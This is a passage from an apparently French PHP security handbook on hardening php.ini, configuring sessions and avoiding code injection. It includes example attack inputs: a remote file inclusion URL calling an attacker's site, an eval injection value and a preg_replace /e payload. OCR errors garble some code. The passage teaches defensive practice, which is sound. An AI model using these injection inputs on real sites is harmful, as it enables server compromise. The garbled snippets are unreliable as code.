memoire, ainsi que la manipulation de resultats SQL de tres grande taille. 

La pratique pour cette directive est la meme que pour max_execution_time : il est recom- 
mande de laisser la valeur a un niveau faible. Le cas echeant, il est possible d'assouplir la 
limite, dossier par dossier, pour repondre a des besoins specifiques. 

post_maxsize 

postjnaxsize limite la quantite de donnees que PHP accepte en provenance de l'utilisateur. 
Plus cette valeur est grande, plus PHP accepte de donnees et tente de les preparer pour 
que le script puisse les utiliser : ainsi, plus cette valeur est grande, plus PHP s' expose a 
un deni de service. 

Par defaut, postjaxsize vaut 2 Mo, ce qui signifie qu'un script PHP accepte jusqu'a 
2 Mo de donnees via la methode POST avant d'annuler la requete HTTP. Et si ces donnees 
ne sont pas acceptees, alors PHP aura alloue 2 Mo de donnees inutiles dans le script : 
c'est beaucoup de travail pour rien. 

La premiere application de postjaxsize se fait conjointement avec file_upload et 
upload_max_filesize. En effet, les telechargements de fichiers se font avec la methode 
POST et sont comptes dans la quantite d'information que PHP recoit. Pour etre capable de 
recevoir des fichiers de 2 Mo, il faut mettre postjaxsize a plus de 2 Mo. 

Hormis le chargement de fichiers, les formulaires consomment generalement peu de 
memoire et il est possible de donner a cette directive une valeur bien plus basse que la 
valeur par defaut. 

Contrairement a memory J imit, cette directive s' applique au script avant meme que le code 
PHP ne commence a 1' executer. Elle permet de limiter 1' impact des donnees du visiteur 
sur le serveur PHP. 

file_upload 

f i 1 e_upl oad est la directive qui autorise le chargement de fichiers sur le serveur web, pour 
traitement avec PHP. Par defaut, elle est activee et elle fonctionne conjointement avec 
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max_postsi ze et upl oad_max_f i 1 esi ze. La seule recommandation pour cette directive est de 
la desactiver si vous n'utilisez pas de telechargement de fichiers sur votre serveur. 

register_long_arrays 

Cette directive est une rescapee des debuts de PHP. A l'origine, PHP fournissait les 
donnees d' entree du script dans des tableaux qui portaient des noms tels que 
$HTTP_GET_VARS, $HTTPJ>OST_VARS, $HTTP_C00KI EJ/ARS OU $HTTP_POST_FI LES. Lorsque 
registerjlobals a ete abandonnee, les developpeurs PHP ont introduit de nouvelles 
variables globales $_GET, $_P0ST, $_C00KIE et $_FI LES. 

Pour assurer la compatibilite ascendante avec les vieilles applications, regi sterj ong_arrays 
a ete introduite et cree simplement les anciens tableaux. 

De nos jours, il est recommande de ne jamais utiliser cette directive. Elle introduit des 
variables supplementaires dans le script, ce qui donne des possibilites d'entree dans le 
script. De plus, ces tableaux requierent de la memoire et un temps de creation dedie. Si 
vous ne les utilisez pas, cela sera du pur gaspillage. 



PHP expose 

La devise qui rassemble ces directives serait : « pour vivre heureux, vivons cache. ». 
D'une maniere ou d'une autre, elles permettent l'affichage d' informations sur une appli- 
cation web. Ces informations sont precieuses pour le developpement, mais dangereuses 
si elles tombent dans de mauvaises mains. La bonne nouvelle est qu'il est facile de tout 
cacher. 

expose_php 

La directive expose_php affiche la presence de PHP dans les en-tetes HTTP du serveur. On 
trouve par exemple : 

X-Powered-By : PHP/5.1.4 

Par defaut, cette directive est activee. Par elle-meme, elle ne represente pas de grand 
danger, mais il faut reconnaitre qu'elle affiche des informations utiles aux pirates. Si une 
vulnerabilite a ete publiee pour une version particuliere de PHP, alors le pirate sait imme- 
diatement si votre site est vulnerable ou pas. II est certain que ne pas publier ce type 
d' information vous apporte un niveau de securite supplementaire. 

expose_php coute aussi quelques octets de plus en termes de trafic. Si votre site accueille 
quelques centaines ou milliers de visiteurs par jour, la difference ne se fera pas sentir, 
mais pour les tres grands trafics, cela pourra avoir un impact non negligeable. Essayez 
done de trouver un site de l'envergure de Yahoo ! qui utilise cette directive. . . 

Sachez aussi que des statistiques sont realisees a l'aide des informations fournies par 
cette directive. Netcraft et nexen.net s'appuient sur ces informations pour en deduire des 
statistiques sur le niveau d'utilisation de PHP et des serveurs web. 
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display_errors 

display_errors active l'affichage des erreurs detectees par PHP dans le resultat du script. 
C'est cette directive, activee par defaut, qui defigure les pages web avec des messages 
d'erreur. II suffit d'aller sur votre moteur de recherche prefere pour trouver des centaines 
de sites qui arborent des erreurs PHP dans leur page. 

di spl ay_errors est effectivement utile lors du developpement : au lieu de chercher les proble- 
mes d'execution dans les fichiers de log du serveur web, il suffit de les lire directement sur la 
page HTML produite. Cela reste un atout pour identifier et eradiquer rapidement un bogue. 

En production, cette directive doit etre desactivee. L'affichage des erreurs est tres 
mauvais pour l'image de marque d'un site web et en plus, elle livre aux visiteurs des 
informations sur les technologies utilisees et sur 1' organisation de 1' application, le 
systeme de fichiers ou simplement sur l'utilisation de PHP. De plus, si l'erreur s'affiche 
suite a une tentative d'injection, alors le pirate dispose d' informations de premiere main 
pour affiner son attaque et etre plus destructeur encore. Evitez d' aider les pirates ! 

error_reporting 

error_reporting ne doit pas etre confondue avec la directive precedente. Cette directive 
indique a PHP le niveau d'erreur qu'il doit signaler, alors que di spl ay^errors indique oil 
afficher les erreurs identifiees. 

II existe une utilisation ambigue de error_reporti ng. En mettant sa valeur a 0, on demande a 
PHP de ne plus signaler aucune erreur. Ceux qui ne connaissent pas di spl ay_errors utilisent 
generalement error^reporting pour ne plus afficher d'erreur sur leurs sites web. En prati- 
que, cette solution revient a mettre tout le monde dehors : les pirates n'ont plus d' infor- 
mations sur les erreurs qu'ils peuvent causer dans le site, mais en fait, vous non plus ! 

La meilleure technique a adopter est de desactiver l'affichage d'erreur avec la directive 
di spl ay_errors et de garder un niveau de rapport d'erreur non nul. Pour un site en production, 
vous pouvez garder les erreurs les plus importantes pour pouvoir les traiter. Sur un site a tres 
fort trafic, l'annulation totale de error„reporti ng permettra de gagner quelques ressources. 

log_errors et errorjog 

Si display_errors decide de l'affichage direct des erreurs sur le site, c'est a log^errors 
d'activer l'enregistrement dans les logs et a error_log de stacker les messages d'erreur 
pour une utilisation ulterieure. 

En fait, vous pouvez avoir les deux fonctionnalites actives en meme temps : affichage des 
erreurs a l'ecran et enregistrement dans les logs. 

Par defaut, les logs systeme sont utilises, mais vous pouvez specifier un fichier different 
pour y inscrire les rapports d'erreur et les analyser a tete reposee. II est regrettable 
qu'aucun outil d'analyse des logs d'erreurs ne soit disponible, pour identifier les problemes 
les plus frequents et aider les programmeurs dans les volumineux fichiers. 

Le revers de la medaille des logs est evidemment une occupation de l'espace disque. Tout ce 
qui est note doit etre stocks sur le disque dur. Meme une petite ligne de log peut finalement 
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remplir le plus gros disque dur. Les messages d'erreur peuvent d'ailleurs etre facilement 
nombreux : imaginez une boucle infinie, qui achoppe toujours sur la me me erreur. Le log 
d'erreur est rapidement rempli et finit par saturer le disque dur. 

Quelques astuces pour mieux gerer ce probleme : 

• i g n o r e_r e p e a t e d_e r r o r s : cette directive empeche 1 ' inscription de toutes les erreurs qui 
arrivent a la meme ligne, sauf une. C'est ideal contre les messages provoques par une 
boucle et cela economise de l'espace. 

• 1 og_errors„max_l en : cette directive tronque les messages d'erreur a une taille maximale. 
Cela economise de l'espace, mais peut aussi compliquer la relecture des messages et 
leur interpretation. 

• Stockez les logs dans une partition speciale du disque dur, de maniere a ce que de 
nombreux logs ne saturent par votre application. 

L'enregistrement d'erreurs dans les logs est desactive dans la configuration par defaut de 
PHP, mais active dans la configuration recommandee. Dans tous les cas, utilisez toujours 
ces directives. 

assert.active 

assert. active est la directive qui autorise les assertions. Cette fonction permet de jalonner 
le code avec des tests et des validations, en utilisant la fonction assert( ), qui se comporte 
comme un test de debogage simple : 

assert($condition, Salerte) 
if ( !$condition) { 
print $alerte ; 

} 

Toutefois, la fonction assert ( ) peut etre desactivee en utilisant la directive assert.active, 
au lieu de passer par disable_f unctions. Cela permet de placer des tests de debogage et 
d'etre certain de les avoir supprimes grace a une simple directive. 

Par defaut, cette directive est activee et est tres utile en developpement et en conception, 
mais il est recommande de la desactiver en production. 

Configuration des sessions 

Les sessions ont toute une famille de directives qui les concernent. Les voici, avec un 
descriptif de leur utilite et les recommandations de securite qui leur sont associees. 

session. auto_s tart 

Cette directive active le demarrage automatique des sessions. C'est toujours une 
mauvaise idee, car tous les scripts n'ont pas besoin des sessions. Cela ouvre aussi la porte 
aux techniques d'imposition des identifiants de session (voir au chapitre 4). 

II est done recommande de desactiver cette fonctionnalite. 
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session. name 

session. name configure le nom des sessions. Par defaut, c'est PHPSESSID, ce qui expose 
inutilement l'utilisation de PHP sur votre site. En remplacement, vous pouvez utiliser le 
nom de votre application, de maniere a etre explicite : les visiteurs seront rassures de 
retrouver le nom de votre application, plutot que celui d'un cookie cabalistique, dont 
l'existence sera contestable. Pour derouter les pirates, il vous est egalement possible 
d'utiliser le nom de cookie par defaut d'une autre application, par exemple ASPSESSIONID, 
ASP.NET_SessionId, SessionID, JSESSIONID ou CFID. 

II est recommande de donner une valeur personnalisee a cette directive, 
session. use_cookies 

sessi on. use_cookies active l'utilisation des cookies pour la gestion des sessions. Comme 
la democratic, ce systeme n'est pas parfait, mais c'est le moins pire qui soit (dixit 
Sir Winston Churchill). II peut etre utilise en meme temps que trans_sid, tout en ayant la 
preference : si un utilisateur accepte les cookies, ils seront utilises comme mecanisme 
priori taire. 

II est recommande d'activer cette directive, 
session. use_only_cookies 

session. use_only_cookies force l'utihsation des cookies pour les sessions. C'est la technique 
la plus stricte, mais probablement la plus sure. 

Dans la mesure du possible, activez cette directive, 
session. use_trans_sid 

sessi on . use_trans_i d active le mode de compatibilite universelle du transport des identifiants 
de session. C'est aussi le mode le moins securise. 

Dans la mesure du possible, desactivez cette directive, 
session. cookie_domain et session. cookie_path 

II est possible de demander au navigateur d'envoyer les cookies uniquement a un site 
particulier, via sessi on. cookie_domain, et avec un prefixe de chemin particulier, via 
session. cookie_path, par exemple : 

session. cookie_domain = www.php.net 
session .cookie_path=/user7 

Avec ces valeurs, le cookie ne sera envoye qu'aux scripts du site www.php.net, dans le 
dossier /user/, tel que http://www.php.net/user/login.php 

Donnez des valeurs a ces deux directives pour restreindre le champ d' utilisation des cookies. 



Installation et configuration de PHP 



Chapitre 5 



session.gc_maxlifetime 

session.gc_maxl ifefime represente la duree de vie maximale d'une session sur le serveur, 
exprimee en secondes. Par defaut, cette valeur vaut 1 440 secondes, soit 24 minutes. Cette 
valeur est tres genereuse et doit pouvoir etre ramenee vers 5 a 10 minutes sans perturber 
outre mesure l'ergonomie du site web. 

II est recommande de reduire la valeur de cette directive, 
session.cookiejifetime 

session.cookiejifetime represente la duree de vie des cookies, exprimees en secondes. 
0 indique une session de navigateur, c'est-a-dire jusqu'a son redemarrage. 

Plus cette valeur est petite, mieux c'est, sauf quand c'est 0 : la duree de vie d'un navigateur 
peut etre tres importante et il est preferable de maitriser celle de l'identinant. 

Pensez a avoir un cookie dont la duree de vie correspond a celle de la session. 
session.cookie_secure 

session. cookie_secure impose la transmission des cookies sur une connexion securisee, 
de type SSL. Si ce n'est pas le cas, le navigateur refuse l'envoi de l'identifiant de session, 
pour preserver la confidentialite. Dans ce cas, la session semble non fonctionnelle. 

Cette directive exige la configuration des connexions SSL sur votre serveur web. Lorsque 
c'est possible, utilisez-la. 

session .save_path 

Par defaut, PHP stocke les donnees dans le dossier temporaire du serveur. Or, dans ce 
dossier, tous les processus sont autorises a l'ecriture et la lecture, ce qui laisse les donnees 
de session vulnerables a une attaque via le serveur. 

Constituez un dossier pour que le serveur web puisse y ecrire et lire, mais pas les autres 
utilisateurs. Cela ameliorera le niveau de securite. 

Sur un serveur partage, voyez si vous pouvez stacker les sessions dans un dossier prive, 
inaccessible aux autres utilisateurs. Si ce n'est pas le cas, alors utilisez le serveur de base 
de donnees : ce dernier protegera les donnees avec un identifiant et mot de passe. 

Par defaut, donnez une autre valeur a cette directive. 
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La premiere chose a faire pour proteger une application PHP est de s' assurer que le code 
qui est execute est bien celui que vous avez ecrit. C'est une precaution qui vient naturel- 
lement a tous les programmeurs, mais qui est parfois battue en breche par certaines fonc- 
tionnalites de PHP detournees de leur utilisation principale. 

Protection physique 

La protection directe des scripts est un probleme generalement bien identifie et raisonna- 
blement implements. Les scripts PHP sont places sur le serveur, avec une methode dispo- 
sant au moins d'un mot de passe et d'un identiriant. Meme par un processus FTP, sur une 
connexion non securisee, placer un script corrompu sur le serveur de production est une 
operation relativement difficile pour un pirate. 

II est possible de compromettre les systemes de publication d'un site web, mais cela sort 
du cadre de notre propos. 

Ecrasement de fichiers 

La seule menace physique a 1' integrite des scripts provient de PHP lui-meme : il a la 
capacite de lire ou d'ecrire des fichiers sur le serveur. II lui est done possible d'ecraser, de 
remplacer ou de creer des scripts PHP sur le serveur. Ainsi, lorsqu'il faut ecrire des 
fichiers sur le serveur, vous devez vous assurer que les fichiers ecrits par PHP ne sont pas 
en train d'ecraser les scripts ou des fichiers deja en place. 

Pour cela, les bonnes pratiques recommandent un dossier specifique pour les ecritures et 
pour les donnees en general. Un dossier distinct pour les donnees dynamiques permet de 
faire une difference simple entre 1' application et les donnees. 
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La pratique recommande aussi de configurer une extension de fichiers neutre pour les 
fichiers crees : cette extension ne doit pas etre associee a PHP, ou a toute autre plate- 
forme dynamique sur le serveur. Par exemple, creer un fichier .ini, .txt ou .xml n'est 
generalement pas traite par PHP. C'est done un bon choix, lors de la creation d'un fichier 
par PHP, d'utiliser toujours ces extensions. Evitez les extensions telles . php, .phtml, .php3 
ou encore .inc, generalement attribuees a PHP. 



Droits d'ecriture 

Une autre pratique interessante est d'interdire l'ecriture des scripts PHP au serveur web. 
Tous les fichiers qui ne sont pas des donnees peuvent etre simplement attribues a un autre 
utilisateur que le serveur web, tout en lui laissant des droits de lecture. De cette maniere, 
PHP ne pourra pas effacer un script, me me par inadvertance. 



Injection de code distant 

Si les scripts sont generalement bien proteges, comment se fait-il que tant d' applications 
soient victimes d' injection de code PHP ? Sur les sites de securite, on trouve reguliere- 
ment des alertes indiquant que du code arbitraire a ete injecte dans une application bien 
connue. C'est a cause d'une fonctionnalite bien pratique de PHP : son navigateur web 
integre. 

PHP dispose d'un navigateur web interne, qui lui permet d'acceder a des donnees enre- 
gistrees sur le Web. Vous connaissez certainement cet exemple : 

$contenu = f i 1 e_get_content( '/home/web/index. html ' ) ; 

Cette instruction PHP lit tout un fichier et le verse dans la variable $contenu. Le fichier ci- 
dessus est local au serveur, dans le dossier /home/web/. En ajoutant les informations de 
protocole et de serveur, on peut lire facilement un fichier distant avec la meme 
instruction : 

$contenu = file_get_content( 'http://www.php.net/' ) ; 

Cette fois-ci, c'est le fichier disponible sur le site de www.php.net qui est lu. Cette fonc- 
tionnalite est controlee par la directive al low_url_fopen, qui autorise l'utilisation des 
protocoles HTTP, HTTPS, FTP et FTPS depuis les fonctions de manipulation de fichiers. 
C'est effectivement tres pratique pour charger des ressources distantes comme des fils de 
depeches, des fichiers RSS ou ATOM, ou encore pour realiser un robot d' indexation. 

Pour revenir aux problemes de securite, il faut savoir que cette fonctionnalite est simulta- 
nement disponible avec les instructions includeO, requireO, incl ude_once( ) et 
requi re_once( ). Observez la ligne suivante : 

incl ude( ' http: //www. autre. si te. com/bibl iohteque. inc ' ) ; 

Cette instruction va chercher du code PHP sur un site distant, le ramene sur le serveur 
local et l'integre dynamiquement dans le code du script courant, puis l'execute comme 
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du code local. Fonctionnellement, c'est exactement comme une inclusion de fichier local, 
mais avec un fichier distant. C'est par ce biais que les pirates effectuent des injections de code. 

La technique est simple : il suffit de preparer une bibliotheque PHP sur un site public. Ce 
code PHP sera inclus dans un site victime et executera des commandes qui ouvriront 
d'autres portes aux pirates : souvent, on commence par phpinfoO. Desormais, il suffit de 
trouver le moyen pour que 1' application victime effectue 1' inclusion distante. Pour cela, 
il suffit de modifier les appels dans les fonctions i ncl ude( ) et ses cousines. Notez que par 
la suite, nous utiliserons le nom de includeO pour representer includeO, requireO, 
i ncl ude_once( ) et requi re_once( ), car ces quatre fonctions realisent les memes operations 
du point de vue de la securite. 

Ainsi, certaines applications web sont construites avec un controleur, qui a la charge de 
definir Taction a mener et de decider de l'inclusion du code PHP necessaire. L' action est 
definie dans l'URL appelante et elle est choisie par l'utilisateur au cours de sa visite du 
site. Par exemple, etudiez l'URL suivante : 

http://www.site.com/index.php?action=affiche&id=22 

Semantiquement, on peut lire que Taction est de type affiche et que Tobjet de Taffichage 
sera une ressource d'identifiant 22. Le controleur convertit cette URL en action et inclut 
dynamiquement le module d'affichage a partir de l'URL, comme ceci : 

include($_GET['action']. '.inc') ; 

Avec une telle ligne de code, il devient possible de realiser l'inclusion de code distant en 
modifiant action pour qu'elle utilise le protocole HTTP : 

http://www.site.com/index.php?action=http%3A%2F%2Fwww.sitedupirate.com%2Finjection&id=22 

L'inclusion va maintenant etre la suivante : 

includeC 'http://www.sitedupirate.com/injection.inc' ) ; 

L'application va maintenant executer le code du site distant comme si c'etait son propre 
code. Le code du site distant est totalement sous le controle du pirate, tandis que l'appli- 
cation fonctionne encore avec les droits et les ressources du serveur. Une fois cette 
premiere vulnerability identifiee, il est facile de lancer un script d' analyse et de raffiner 
considerablement Tattaque. 

Une partie du probleme provient bien sur du fait que les fonctions d'acces aux fichiers et 
les fonctions de flux sont melangees avec les fonctions structurantes de type includeO. 
Pour cela, depuis PHP 5.2, une nouvelle directive al 1 ow_url_i ncl ude a ete introduite : elle 
permet de gerer separement les fonctionnalites reseau de ces deux types de fonctions. 

Par defaut, allow_url_include est desactivee. II est meme recommande de toujours la laisser 
a cette valeur et de trouver d'autres moyens de realiser les inclusions distantes de code. 

En termes de performances, l'inclusion distante ralentit considerablement les scripts 
PHP, car ce dernier doit attendre le rapatriement, T analyse et l'inclusion du code avant de 
poursuivre T execution. II est done recommande de realiser une copie locale pour pouvoir 
y acceder plus rapidement et de profiter des caches de scripts, lorsque c'est possible. De 
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plus, une moderation du code distant sera un minimum a realiser : au fond, vous etes en 
train de donner acces a un site exterieur sur votre application ! 

Si le fichier distant ne contient que des donnees et pas de code PHP, il existe de nombreuses 
alternatives qui permettent de lire des donnees a distance et de les recevoir sous forme native 
en PHP. Json, WDDX, SOAP, REST sont des solutions adaptees aux echanges de donnees. 



Execution de code a la volee 

Outre les inclusions de code distant, il y a d'autres moyens pour executer dynamique- 
ment du code PHP dans une application. 

evalQ 

Un autre moyen pour modifier dynamiquement l'execution d'un script est l'utilisation de 
eval ( ). Cette fonction prend en argument une chaine de caracteres et l'execute comme si 
c'efait du code PHP. On s'en sert souvent pour assembler au dernier moment des variables 
avec du texte litteral, ou bien pour executer des morceaux de code et affecter le resultat a 
une variable. 

eval ( 'throw $this ; ' ) ; 

Cet exemple execute la commande throw, qui emet une exception, avec la variable $this. 
II est issu du code de PEAR et permet de lancer une exception a partir de son constructeur, 
sans avoir a preciser la classe de l'exception : $thi s est alors dynamique. 

Comme toujours avec le code dynamique, si la chaine de caracteres qui est executee par 
PHP a pu etre manipulee depuis l'exterieur, il devient possible de faire executer du code 
arbitraire a 1' application PHP. Par exemple, voici une ligne de code dangereuse : 

| eval ('echo $' .$_GET['nom_de_variable']) ; 

Avec une telle ligne dans 1' application PHP, on peut utiliser la valeur suivante pour faire 
afficher phpinfo( ) : 

$_GET['nom_de_variable'] = 'x; phpinfoO;' ; 

Heureusement, l'utilisation de eval ( ) est assez peu frequente. Elle resout des problemes de 
compatibilite, mais il reste exceptionnel d' avoir a compiler du code PHP a la derniere 
minute. Et il est important de noter que c'est une solution qui est tres lente, par rapport a du 
code inclus, ou meme du code deja inscrit dans le script PHP. C'est une bonne pratique que 
de supprimer eval ( ) : souvent, on arrive a securiser et accelerer un script en meme temps. 

eval ( ) est parfois utilisee pour deporter dans un fichier de traduction des interpolations 
de variables. Par exemple : 

// Fichier de traduction 

def ine( ' AFF_PRI X ' , ' Le prix est de $prix Euros') ; 

// Fichier d'utilisation 

eval ('echo \AFF_PRIX) ; 
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Pour ce type d' application, il est plus efficace d'utiliser la fonction pn'ntf ( ) : 
// Fichier de traduction 

define( 'AFF_PRIX' , ' Le prix est de %d Euros') ; 
// Fichier d'utilisation 
printf(AFF_PRIX. $prix) ; 

Pour les cas ou plusieurs variables sont requises dans un ordre different suivant les 
traductions, printfO supporte un systeme de noms dans la syntaxe de formatage : cela 
permet a cette derniere d'etre constante, mais de pouvoir toujours utiliser le meme ordre 
de variables. Comme ceci : 

// anglais 

define( 1 AFF_PRIX ' , 'The price is Euros for item £2$s') ; 
// francais 

define( 'AFF_PRIX' , ' Le prix de %2$s est de %ltd euros') ; 
// l'ordre des arguments est toujours le meme, 
// quelle que soit la langue 
printf (AFF_PRIX. $prix, $article) ; 

Notez qu'il est tres difficile de securiser evalO et qu'il n'existe pas de fonction pour 
proteger le contenu contre des utilisations sournoises. La meilleure protection consiste 
simplement a eviter de l'utiliser. La solution extreme consiste a ajouter eval ( ) a la direc- 
tive disable_f unctions pour etre certain de ne pas l'utiliser. 

Enfin, notez que la difference entre les guillemets simples et doubles prend tout son sens 
dans le cas de eval ( ) : 

eval ( ' echo $var ; ' ) ; // affiche la variable $var 

eval ("echo $var ;") ; // affiche le resultat du code contenu dans la variable var : le resultat va etre 
different !! 

assertQ 

assert () est une instruction assez peu connue de PHP, mais tres utile : elle permet de 
placer des points de validation dans le code et d'emettre une alerte PHP lorsque les points 
de validation ne sont pas verifies, par exemple : 

function carre($i ) { 

assert( ' i s_numeri c($i ) ' , 'Attention, nous voulons un nombre') ; 
return $i * $i ; 

} 

Avec cette construction, une alerte est emise si la condition is_numeric($i ) echoue : la 
fonction carreO ci-dessus n'accepte ici que des nombres, entiers ou decimaux. Si le 
script tente de calculer le carre d'une chaine de caracteres ou d'un tableau, alors assert( ) 
emet une alerte, comme celle-ci : 

Warning: assertO: Assertion "is_numeric($i )" failed in /script. php on line 16 
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assert( ) prend du code PHP sous forme de chaine de caracteres et l'execute a la volee. 
De ce point de vue, assert( ) se comporte done exactement comme eval ( ) et doit etre 
traite avec les memes precautions. 

Dans la pratique, les assertions sont utilisees uniquement comme points de validation 
dans le code du script : elles ont rarement recours a des constructions dynamiques pour 
construire les tests de validation. Cependant, e'est possible et il importe de garder 1' utili- 
sation de la fonction assert( ) a l'ceil. 

La grande difference entre assert( ) et eval ( ) est que les assertions sont pilotees par la direc- 
tive assert . acti ve. II est possible de desactiver les assertions a l'aide d'une directive de confi- 
guration. En production, il est recommande de mettre assert, active a Off dans tous les cas : 
cela permet de supprimer immediatement toutes les assertions et d'executer le code comme 
si elles n'existaient pas. Pour eval ( ), il faudrait utiliser la directive disable_f unctions. 

preg_replace() 

On pense rarement a preg_replace()comme source d'injection de code PHP. Elle est 
pourtant victime de son succes. preg_repl ace( ) est une fonction de manipulation de texte 
a l'aide d' expression rationnelle, de type Perl. Elle remplace toutes les occurrences du 
motif qu'elle recoit en premier argument par la chaine de caracteres en deuxieme argu- 
ment. preg_repl ace( ) permet les injections de code PHP, lorsque l'expression rationnelle 
utilise l'option e. Avec cette option, preg_replace() remplace les occurrences trouvees 
avec le resultat du code PHP place en deuxieme argument, au lieu de faire un remplacement 
par valeur litterale. Voici une illustration : 

<?php 

$html_body = preg_repl ace( "/(<\/?) (\w+) ( [ A >]*>)/e" , 

•'\\r.strtoupper('\\2').'\\3 , \ 
$html_body) ; 

?> 

Cette ligne traite la chaine $html_body et met en majuscules toutes les balises XML 
qu'elle trouve. L'expression reguliere identifie toutes les balises, a l'aide du caractere 
ouvrant <, du nom de la balise \w+ et du reste de la balise jusqu'au signe fermant « > ». Le 
premier caractere est reutilise dans le motif de remplacement sous la forme de \\1. La fin 
de la balise est aussi reutilisee sans modification avec \\3. Toutefois, le corps de la balise 
est passe a la fonction strtoupper( ) avant d'etre remis dans le code HTML. strtoupper( ) 
est une fonction PHP qui met en majuscules la chaine de caracteres qui lui est passee. 

Pour exploiter la vulnerabilite ci-dessus, il faut produire une injection de code PHP. Les 
effets sont alors les memes que ceux de la fonction eval ( ). Avec une valeur modifiee de 
$html_body telle que : 

$html_body = "< ' ) .phpinfo( ) .printf ( '>" ; 

le code PHP utilise en deuxieme argument devient : 



" '<' . strtoupper( " ) .phplnfoO .printf ( ").'>'" 
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L'injection de code PHP a permis de placer un appel a la fonction phpinfoO. 

L' option e des expressions rationnelles est destinee a realiser des remplacements comple- 
xes, ou il faut appliquer des transformations aux occurrences identifiees, avant de les 
reinjecter dans la chaine originale. II est plus sur d'utiliser la fonction 
preg_repl ace_cal lback( ) : avec cette fonction, le remplacement est delegue a une fonc- 
tion utilisateur, qui est le deuxieme argument, au lieu d'etre du code PHP dynamique- 
ment evalue. Le code utilise est maintenant ecrit en dur dans le script PHP, ce qui evite 
les injections de code PHP. 

Telechargement de fichiers 

Le telechargement de fichiers est une avenue royale pour importer du code PHP pirate sur 
un site. En effet, pour executer un script PHP, il suffit que ce dernier ait les autorisations de 
lecture et qu'il soit accessible depuis le Web. II n'y a pas besoin de droits d'execution ou 
d'ecriture pour pouvoir executer un script PHP : simplement les droits de lecture. 

PHP est capable de recevoir des fichiers via le Web et de les stacker sur le serveur : c'est 
le telechargement (upload) de fichiers. L application la plus populaire consiste a telecharger 
des images, que ce soit pour un album de famille ou pour un avatar sur un forum. L image 
est validee, puis mise immediatement en production sur le site. 

En termes de securite, le commun des programmeurs identifie le cas des fichiers executables 
et des virus : une fois charges sur le serveur, ces derniers sont effectivement une source 
de probleme, a condition qu'ils soient executes. En effet, pour les activer, il faut les char- 
ger, mais aussi les executer. Or, il est rare qu'un site web utilise des applications tierces. 
En prenant meme le cas d'un serveur Apache avec PHP sous forme de module, il n'y a 
qu'un executable, Apache lui-meme et quelques autres logiciels systeme incontournables. 
Au niveau du site web, aucun executable n'est disponible et aucun droit d'execution n'est 
donne, sauf aux dossiers. 

Ainsi, les fichiers executables et les virus represented une menace reelle, mais, en pratique, 
tres rare. En fait, comme les fichiers sont charges sur le serveur avec uniquement des droits 
de lecture, il ne reste qu'une seule menace possible : PHP lui-meme. 

En effet, les scripts legitimes d'une application web sur un serveur sont simplement dotes 
du droit de lecture : c'est le serveur Apache qui les lit, puis les execute. Ainsi, en chargeant 
un script PHP, il n'y a plus qu'une condition pour que ce dernier soit execute sur le serveur : 
pouvoir y acceder depuis un navigateur web. 

Dans ce cas, il devient possible de faire executer son propre code PHP. On ne parle plus 
d'injection, mais carrement de telechargement de vulnerability ! 

Extensions de fichiers 

Une autre option consiste a appliquer aux fichiers telecharges des extensions de fichier 
neutres. C'est une pratique moins sure que la precedente, mais les dossiers hors Web ne 
sont pas toujours disponibles. Par exemple, le serveur Apache peut avoir configure les 
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fichiers .inc et . php pour etre executes par PHP. Toutes les autres extensions de fichiers 
sont simplement servies par Apache sous forme brute, comme un texte .txt, une image 
. gi f , . png ou . jpg, ou de tout autre format multimedia, comme . pdf ou . swf . Dans ce cas, 
forcez le type du fichier telecharge a un de ces types neutres, comme .txt, .brut, . up! oaded 
ou . raw. 

Attention au moderateur 

La moderation de contenu protege votre installation PHP contre les telechargements de 
code sournois, mais attention a ne pas rendre vulnerable le compte de 1' administrate ur. 
Durant la phase de moderation, ce dernier doit evaluer les fichiers telecharges. II est alors 
important de le proteger contre des attaques detournees comme le chargement d'un script 
JavaScript sur le serveur a la place d'une image. 

Fonctions a surveiller 

Certaines fonctions de PHP sont des points de passage obliges. On peut les considerer 
comme des limites de la plate-forme, dans la mesure ou elles transmettent des commandes a 
des systemes externes. C'est done a ces points frontieres qu'il faut savoir faire toutes les 
verifications necessaires pour ne pas transmettre de probleme provenant du Web. 

Code PHP 

Les fonctions suivantes ont un impact direct sur le fonctionnement de PHP : elles creent 
des variables, ajoutent et executent du code PHP dynamiquement. 

Inclusions de code PHP 

II s'agit des quatre fonctions bien connues : includeO, requireO, incl ude_once( ) et 
requi re_once( ). 

Nous avons vu que ces quatre fonctions etaient la voie royale pour realiser des injections 
de code PHP dans une application web saine. Chacune de leur utilisation doit done etre 
verifiee. 

Preferez toujours les inclusions statiques, ou le nom des fichiers est ecrit en dur dans le 
script, aux inclusions dynamiques. En voici un exemple : 

include( 'include/database. inc' ) ; 

Si les fichiers inclus sont de nature plus dynamique, comme dans le cas des bibliotheques 
de modules optionnels, testez la presence du fichier avant de l'ouvrir, a l'aide de 
file_exists(). Si cette fonction represente une charge trop grande pour votre serveur, 
alors enregistrez la liste des fichiers disponibles dans un tableau et testez votre candidat a 
1' inclusion avec ce tableau. 
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Si vous le pouvez, desactivez allow_url_fopen, ou bien utilisez PHP 5.2 ou plus recent 
pour avoir les deux directives separees, allow_url_fopen et allow_url_incl ude. 

eval() 

Comme nous l'avons vu dans la section sur les injections de code PHP, utiliser eval ( ) est 
une mauvaise idee. Reperez toutes les utilisations de eval ( ) et demandez-vous si vous en 
avez vraiment besoin. A priori, vous devriez pouvoir vous en passer. 

preg_replace() 

preg_repl ace() effectue des remplacements dans une chaine de caracteres, a l'aide d'une 
expression reguliere. L' option e permet d'evaluer le code de remplacement comme s'il 
s'agissait de code PHP. 

Remplacez cette fonction par preg_replace_callback() afin d'eviter les injections PHP 
lorsque l'expression rationnelle utilise l'option e. Remplacez cette fonction par 
str_repl ace( ) , lorsque le remplacement est simple. 

extract() 

extract ( ) est une fonction qui cree des variables en masse a partir d'un tableau, par exemple : 

<?php 

extract(array( ' a ' => 1)); 
echo $a ; 

?> 

Ce script va afficher 1. Les index du tableau deviennent des variables et la valeur associee 
devient la valeur de la variable. Au passage, les variables qui existent deja sont ecrasees 
et remplacees par les nouvelles valeurs. 

Malheureusement, extract( ) est souvent utilisee pour simuler regi ster_gl obal s et assurer 
facilement une compatibilite ascendante. Ainsi, 

extract($_POST) ; 

aura le meme effet que regi ster_gl obal s, ou encore une boucle telle que : 

foreach($_POST as $var => $val ) { 
$$var = $val ; 

} 

Nous avons deja insiste sur le fait que regi ster _gl obal s est une directive dangereuse. Les 
techniques de remplacement telles que celles-ci sont non seulement dangereuses, mais en 
plus nefastes en termes de performances. 

import_request_variables() 

Cette fonction realise exactement 1' importation que ferait PHP si regi ster_gl obal s etait 
